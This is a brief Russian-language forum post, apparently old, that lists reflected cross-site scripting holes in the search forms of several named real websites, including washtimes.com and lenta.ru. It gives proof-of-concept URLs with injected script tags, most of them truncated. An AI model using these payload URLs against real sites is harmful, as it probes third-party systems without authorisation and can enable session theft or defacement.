хм... такой крупный сайт, а XSS ... не хорошо ((

www.washtimes.com
Например:
Справа форма поиска "Quick Search" - вводи чё хошь...

http://www.washtimes.com/archive/index.php?Action=Go&Keywords='%3E%3Cscript%3Ealert ()%3C/script%3E

кстати, вот ещё на лента.ру :
http://lenta.ru/Search?Search="><scr...cript>&x=7&y=7

и вот:
http://www.voronezh.ru/cgi-bin/yp.pl...E+%22&x=25&y=3

и вот:
http://hosting.vrn.ru/cgi-bin/search...te=1&x=30&y=12

и вот:
http://www.084.vrn.ru/cgi-bin/search...&il=0&x=25&y=8

А вообще XSS в поисковике... - это щас модно)))